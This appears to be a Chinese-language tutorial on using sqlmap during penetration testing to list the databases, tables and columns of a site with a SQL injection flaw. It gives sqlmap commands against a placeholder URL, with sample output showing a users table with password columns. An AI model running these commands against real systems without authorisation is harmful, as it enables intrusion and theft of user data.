📜  sqlmap 枚举数据库中的表 - Shell-Bash (1)

📅  最后修改于: 2023-12-03 15:20:18.989000             🧑  作者: Mango

SQLMAP: 枚举数据库中的表

介绍

在渗透测试过程中,通常需要枚举目标数据库的结构,以便于进一步的攻击。SQLMAP 是一款常用的自动化 SQL 注入工具,它可以帮助我们快速地发现目标数据库中的表、列、数据等信息。

本文将介绍如何使用 SQLMAP 枚举目标数据库中的表信息。

准备工作

在使用 SQLMAP 之前,需要保证环境中已经安装了 Python 和 MySQL 数据库,并配置好相关信息。另外,确保目标可以访问,并且存在注入漏洞。

枚举表信息

首先,我们需要使用 SQLMAP 发现注入点并获取目标数据库的基本信息。假设我们已经成功获取了目标数据库的版本号、用户、密码等信息,下面介绍如何枚举其表信息。

检查是否存在可枚举的注入点

首先,我们需要检查是否存在可枚举的注入点。可以使用以下命令进行测试:

python sqlmap.py -u "http://example.com/index.php?id=1" --dbs

其中,http://example.com/index.php?id=1 是我们要测试的目标页面。--dbs 参数表示查询目标数据库中的所有数据库信息。如果存在漏洞,SQLMAP 会尝试进行注入测试。

枚举数据库中的表

如果已经确认存在注入漏洞,则可以使用以下命令查询目标数据库中的所有表信息:

python sqlmap.py -u "http://example.com/index.php?id=1" -D dbname --tables

其中,-D dbname 参数表示指定要查询的数据库名称。--tables 参数表示查询目标数据库中的所有表信息。

如果查询成功,SQLMAP 会返回所有表的名称。例如:

Database: dbname
[15 tables]
+----------------+
| table_name     |
+----------------+
| users          |
| products       |
| orders         |
...
枚举指定表的列信息

如果想要查询某个表的详细信息,可以使用以下命令:

python sqlmap.py -u "http://example.com/index.php?id=1" -D dbname -T tablename --columns

其中,-T tablename 参数表示指定要查询的表名称。--columns 参数表示查询指定表的所有列信息。

如果查询成功,SQLMAP 会返回指定表的所有列信息。例如:

Database: dbname
Table: tablename
[5 columns]
+---------------+--------------+
| column_name   | data_type    |
+---------------+--------------+
| id            | int(11)      |
| name          | varchar(255) |
| email         | varchar(255) |
| password      | varchar(255) |
| created_at    | timestamp    |
总结

通过以上方法,我们可以使用 SQLMAP 快速地枚举目标数据库中的表、列等信息,从而进一步深入攻击。但是需要注意的是,SQLMAP 仅是工具,有时候需要根据具体情况进行手动测试和验证。同时,为了避免对目标造成不必要的损失,需要尽可能避免对系统进行扫描和测试,以确保安全性和合法性。